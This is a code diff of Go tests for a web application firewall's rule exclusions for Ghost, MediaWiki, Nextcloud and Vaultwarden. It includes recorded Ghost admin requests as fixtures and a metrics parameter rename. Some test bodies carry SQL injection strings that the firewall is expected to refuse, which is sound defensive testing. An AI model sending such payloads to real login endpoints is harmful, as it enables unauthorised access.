var ghostCanonicalURLFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
@@ -230,16 +220,13 @@ var ghostQueryFields = []string{
|
||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||
}
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
|
||||
// URL.
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
"https://github.com/example/site/blob/main/.htaccess",
|
||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||
"https://example.com/docs/python3/",
|
||||
"https://example.com/blog/powershell/",
|
||||
"https://example.com/blog/.htaccess/",
|
||||
}
|
||||
|
||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||
@@ -340,10 +327,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostCanonicalURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
@@ -412,7 +395,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
|
||||
@@ -424,7 +407,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
@@ -433,10 +416,8 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text, the addresses and the
|
||||
// canonical URLs.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields) {
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
@@ -481,8 +462,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -519,12 +498,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||
{ghostPosts, userEmail},
|
||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||
{"/api/posts/1/", postURL},
|
||||
{ghostMembers, postURL},
|
||||
{ghostPage, postURL},
|
||||
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||
{ghostPost, pageURL},
|
||||
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||
|
||||
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
|
||||
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {nextcloud},
|
||||
|
||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||
BodyInspectionSize: bodyLimit, Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range requests {
|
||||
|
||||
@@ -533,8 +533,6 @@
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
|
||||
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
|
||||
+17
-19
@@ -13,15 +13,14 @@ const other = "other"
|
||||
|
||||
// busiest are the metrics by one thing the lookup finds of the client,
|
||||
// its country or its AS number, for requests whose client's is known.
|
||||
// The busiestCount busiest countries or AS numbers, by their requests
|
||||
// since the start, have series of their own, and the others are counted
|
||||
// under other, so that there are never more than busiestCount + 1 series.
|
||||
// One that drops out of the busiest loses its series, and its next
|
||||
// requests are counted under other; one that becomes one of them gets a
|
||||
// series that counts from then on. Each series therefore only ever goes
|
||||
// up.
|
||||
// The topN busiest countries or AS numbers, by their requests since the
|
||||
// start, have series of their own, and the others are counted under
|
||||
// other, so that there are never more than topN + 1 series. One that
|
||||
// drops out of the busiest loses its series, and its next requests are
|
||||
// counted under other; one that becomes one of them gets a series that
|
||||
// counts from then on. Each series therefore only ever goes up.
|
||||
type busiest struct {
|
||||
busiestCount int
|
||||
topN int
|
||||
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
@@ -39,9 +38,9 @@ type busiest struct {
|
||||
}
|
||||
|
||||
// newCountries returns the metrics by country, with series of their own
|
||||
// for the busiestCount busiest countries.
|
||||
func newCountries(busiestCount int) *busiest {
|
||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec(
|
||||
"sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
||||
}
|
||||
|
||||
// newASNs returns the metrics by AS number, with series of their own for
|
||||
// the busiestCount busiest AS numbers.
|
||||
func newASNs(busiestCount int) *busiest {
|
||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||
// the topN busiest AS numbers.
|
||||
func newASNs(topN int) *busiest {
|
||||
return newBusiest(topN, "asn", "the client's AS number")
|
||||
}
|
||||
|
||||
// newBusiest returns the metrics by label, which is described as
|
||||
// description, with series of their own for the busiestCount busiest
|
||||
// values.
|
||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||
// description, with series of their own for the topN busiest values.
|
||||
func newBusiest(topN int, label, description string) *busiest {
|
||||
by := []string{label}
|
||||
|
||||
return &busiest{
|
||||
busiestCount: busiestCount,
|
||||
topN: topN,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
if len(b.top) < b.busiestCount {
|
||||
if len(b.top) < b.topN {
|
||||
b.top[value] = true
|
||||
|
||||
return value
|
||||
|
||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
||||
}
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// busiestCount is how many countries and how many AS numbers get series of
|
||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
|
||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
